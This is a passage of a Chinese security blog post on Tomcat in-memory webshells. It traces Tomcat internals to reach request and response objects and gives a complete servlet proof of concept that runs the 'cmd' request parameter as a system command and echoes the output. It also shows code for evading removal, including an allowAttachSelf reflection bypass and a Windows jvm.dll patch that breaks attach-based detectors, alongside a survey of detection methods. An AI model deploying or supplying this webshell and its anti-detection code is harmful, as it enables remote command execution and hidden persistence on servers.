runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

调用了 Http11Processor#service 方法

Http11Processor 继承了 AbstractProcessor 类,这里的response对象正是 AbstractProcessor 类中的属性,因此我们如果能获取到 Http11Processor 类,就能获取到response对象

那么下面我们就找一找那里能够获取到processor。在 AbstractProtocol 的内部类 ConnectionHandler#register 方法中,将processor的信息存储在了属性global中。

java
1
2
3
4
5
6
7
8
9
protected void register(Processor processor) {
if (this.getProtocol().getDomain() != null) {
synchronized(this) {
try {
...
RequestInfo rp = processor.getRequest().getRequestProcessor();
rp.setGlobalProcessor(this.global);
...
}

该属性中存储了一个RequestInfo的List,其中在RequestInfo中我们也能获取Request

我们接着往下看,调用栈调用了内部类ConnectoinHandler的process()方法,该方法会调用registry方法将process存储在global中

至此我们的调用链如下:

1
2
3
4
5
AbstractProtocol$ConnectoinHandler#process()
-->this.global
-->RequestInfo
-->Request
-->Response

现在我们的工作就是获取AbstractProtocol类或者继承AbstractProtocol的类,继续看调用链。在CoyoteAdapter类中,存在一个connector属性

我们来看Connector类的定义,存在和AbstractProtocol相关的protocolHandler属性

此时我们看调用链,该属性的值为一个 Http11NioProtocol 对象,并且该类继承了AbstractProtocol类

此时我们的调用链变成如下:

1
2
3
4
5
6
7
Connector
-->Http11NioProtocol
-->AbstractProtocol$ConnectoinHandler#process()
-->this.global
-->RequestInfo
-->Request
-->Response

下面就是获取Connector了,Tomcat在启动时会通过StandardService创建Connector

StandardService#addConnector 如下,该方法会将Connector放入属性 connectors 中

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void addConnector(Connector connector) {

synchronized (connectorsLock) {
connector.setService(this);
Connector results[] = new Connector[connectors.length + 1];
System.arraycopy(connectors, 0, results, 0, connectors.length);
results[connectors.length] = connector;
connectors = results;
}

try {
if (getState().isAvailable()) {
connector.start();
}
} catch (LifecycleException e) {
throw new IllegalArgumentException(
sm.getString("standardService.connector.startFailed", connector), e);
}

// Report this property change to interested listeners
support.firePropertyChange("connector", null, connector);
}

最终我们的调用链如下:

1
2
3
4
5
6
7
8
StandardService
-->Connector
-->Http11NioProtocol
-->AbstractProtocol$ConnectoinHandler#process()
-->this.globa
-->RequestInfo
-->Request
-->Response

下面的工作就是获取StandardService对象了,在此之前我们先了解一下Tomcat的类加载机制。

Tomcat的类加载机制

众所周知,Tomcat使用的并不是传统的类加载机制,我们来看下面的例子

我们知道,Tomcat中的一个个Webapp就是一个个Web应用,如果WebAPP A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2。这样在加载的时候由于全限定名相同,因此不能同时加载,所以必须对各个Webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离。

Tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是 WebappClassLoader 。

那么我们又如何将原有的父加载器和 WebappClassLoader 联系起来呢?这里Tomcat使用的机制是线程上下文类加载器Thread ContextClassLoader。

Thread类中有 getContextClassLoader() 和 setContextClassLoader(ClassLoader cl) 方法用来获取和设置上下文类加载器。如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为 WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。

因此WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一。

这里通过调试,我们能够看到这里的线程类加载器是继承了 WebAppClassLoader 的 ParallelWebAppClassLoader 。

其中我们同样能获取到 StandardService

构造Payload

按照上文对调用栈分析的思路,我们可以依次构造出如下Payload

获取StandardContext

1
2
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

获取ApplicationContext

StandardContext中没有直接的方法获取context,因此我们需要通过反射获取

1
2
3
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)context.get(standardContext);

获取StandardService

同样使用反射获取

1
2
3
4
//获取StandardService
Field standardServiceField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("service");
standardServiceField.setAccessible(true);
StandardService standardService = (StandardService) standardServiceField.get(applicationContext);

获取Connector

1
2
3
4
5
//获取Connector
Field connectorsField = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(standardService);
Connector connector = connectors[0];

获取Handler

我们可以通过 Connector#getProtocolHandler 方法来获取对应的 protocolHandler

这里获取的 protocolHandler 是 Http11NioProtocol 对象,前面我们分析过了该类继承了 AbstractProtocol 类,下面我们再通过反射获取Handler——内部类 ConnectionHandler

1
2
3
4
5
//获取Handler
ProtocolHandler protocolHandler = connector.getProtocolHandler();
Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
handlerField.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

获取内部类ConnectionHandler的global属性

1
2
3
4
//获取内部类AbstractProtocol$ConnectionHandler的global属性
Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalHandler.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);

获取processor

global属性RequestGroupInfo类中的processors数组用来存储RequestInfo对象,下面我们来获取RequestInfo对象,进而获取request对象

1
2
3
4
//获取processors
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);

最后我们获取request和response对象

获取request和response

这里我选择进一步获取org.apache.catalina.connector.Request对象,因为它继承自HttpServletRequest,我们可以通过PrintWrinter类直接获取回显

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//获取request和response
Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
requestField.setAccessible(true);
for (RequestInfo requestInfo : requestInfoList){

//获取org.apache.coyote.Request
org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo);

//通过org.apache.coyote.Request的Notes属性获取继承HttpServletRequest的org.apache.catalina.connector.Request
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response http_response = http_request.getResponse();

PrintWriter writer = http_response.getWriter();
String cmd = http_request.getParameter("cmd");

InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
}

完整POC

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

@WebServlet("/response")
public class Tomcat_Echo_Response extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

//获取StandardService
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

System.out.println(standardContext);

try {
//获取ApplicationContext
Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(standardContext);

//获取StandardService
Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
standardServiceField.setAccessible(true);
StandardService standardService = (StandardService) standardServiceField.get(applicationContext);

//获取Connector
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(standardService);
Connector connector = connectors[0];

//获取Handler
ProtocolHandler protocolHandler = connector.getProtocolHandler();
Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
handlerField.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

//获取内部类AbstractProtocol$ConnectionHandler的global属性
Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalHandler.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);

//获取processors
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);

//获取request和response
Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
requestField.setAccessible(true);
for (RequestInfo requestInfo : requestInfoList){

//获取org.apache.coyote.Request
org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo);

//通过org.apache.coyote.Request的Notes属性获取继承HttpServletRequest的org.apache.catalina.connector.Request
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response http_response = http_request.getResponse();

PrintWriter writer = http_response.getWriter();
String cmd = http_request.getParameter("cmd");

InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
}


} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}

查杀内存马

师傅的猜想:

  • c0ny1 师傅
    将 filterMaps 中的所有 filterMap 遍历出来,然后提供了 dumpclass,显然,如果获得目标类的 class 反编译代码,加入人为判断的模式,就可以知道 filter 代码中是否有恶意操作了。深蓝师傅魔改版本

  • c0ny1 和 jweny 师傅
    内存马最大的特点就是储存在内存,无文件落地,那也就代表了这个类对应的 ClassLoader 目录下没有对应的 class 文件

  • 利用 VisualVM 来监控 Mbeans 来检测内存马的思路,原理是在注册类似 Filter 的时候会触发 registerJMX 的操作来注册 mbean

  • 宽字节安全
    扫字节码的方式。

业界主要使用的两种检测方法:

  • 基于反射的检测方法
    该方法是一种轻量级的检测方法,不需要注入Java进程,主要用于检测非Agent型的内存马,由于非Agent型的内存马会在Java层新增多个类和对象,并且会修改一些已有的数组,因此通过反射的方法即可检测,但是这种方法无法检测Agent型内存马。

  • 基于instrument机制的检测方法
    该方法是一种通用的重量级检测方法,需要将检测逻辑通过attach API注入Java进程,理论上可以检测出所有类型的内存马。当然instrument不仅能用于内存马检测,java.lang.instrument是Java 1.5引入的一种可以通过修改字节码对Java程序进行监测的一种机制,这种机制广泛应用于各种Java性能检测框架、程序调试框架,如JProfiler、IntelliJ IDE等,当然近几年比较流行的RASP也是基于此类技术。

手工可以看看配置文件之类的

如何杀掉内存马

对于非Agent马两种思路:

  • 从系统中移除该对象。(推荐)
  • 访问时抛异常(或跳过调用),中断此次调用。

对于Agent马:retransform。

如何防止Java Agent内存马被杀

阻止后续 javaagent 加载

  • 注入 class 到当前线程中,然后实例化注入内存马

  • 通过执行 Java 代码来卸载掉这个 mbean 来隐藏自己

  • threedr3am 师傅提出了,阻止后续 javaagent 加载的方式,防止webshell 被查杀。Github项目

关键代码

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
try {
vmObj = VirtualMachine.attach(args[0]);
String agentpath = ZhouYu.class.getProtectionDomain().getCodeSource().getLocation().getFile();
if (vmObj != null) {
if (args.length > 1) {
vmObj.loadAgent(agentpath, args[1]);
} else {
vmObj.loadAgent(agentpath);
}
}
} finally {
if (null != vmObj) {
vmObj.detach();
}

}

allowAttachSelf绕过

该思路来源于:rebeyond师傅

只是总结一下之前师傅文章中的方法,所以无分析过程。

instrument通过attach方法提供了在JVM运行时动态查看、修改Java类的功能,比如通过instrument动态注入内存马。但是在Java9及以后的版本中,默认不允许。

但是attach的时候会创建一个HotSpotVirtualMachine的父类,这个类在初始化的时候会去获取VM的启动参数,并把这个参数保存至HotSpotVirtualMachine的ALLOW_ATTACH_SELF属性中,恰好这个属性是个静态属性,所以我们可以通过反射动态修改这个属性的值。构造如下POC:

1
2
3
4
5
6
Class cls=Class.forName("sun.tools.attach.HotSpotVirtualMachine");
Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF");
field.setAccessible(true);
Field modifiersField=Field.class.getDeclaredField("modifiers");
modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL);
field.setBoolean(null,true);

Windos下破坏attach用JNI防检测

因为堆栈平衡原因,要考虑32位和64位,否则会使程序崩溃。

c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned char buf[]="\xc2\x14\x00"; //32,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20");
DWORD old;
if (VirtualProtectEx(GetCurrentProcess(),dst, 3, PAGE_EXECUTE_READWRITE, &old)){
WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);
VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);
}

/*unsigned char buf[]="\xc3"; //64,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOID dst=GetProcAddress(hModule,"JVM_EnqueueOperation");
//printf("ConnectNamedPipe:%p",dst);
DWORD old;
if (VirtualProtectEx(GetCurrentProcess(),dst, 1, PAGE_EXECUTE_READWRITE, &old)){
WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);
VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);
}*/

Linux下破坏attach

把对应的UNIX Domain Socket文件删掉

结语

关于内存马的攻防,还一直在不停迭代当中,就目前而言,还并没有行之有效的对内存马查杀方法,因为当前的查杀方法都有其弊端。

内存马可以配合JNDI注入,反序列化,普通马改为内存马等方法写入。目前红队内网站稳脚跟的首选。

无文件落地攻击,内存马也不是JAVA的专属甚至不是WEB的专属,如 .NETThinkPHP 中也有,但原理大致一样,Windows中就有很大区别,但这里主要介绍的JavaWeb下,就不在过多介绍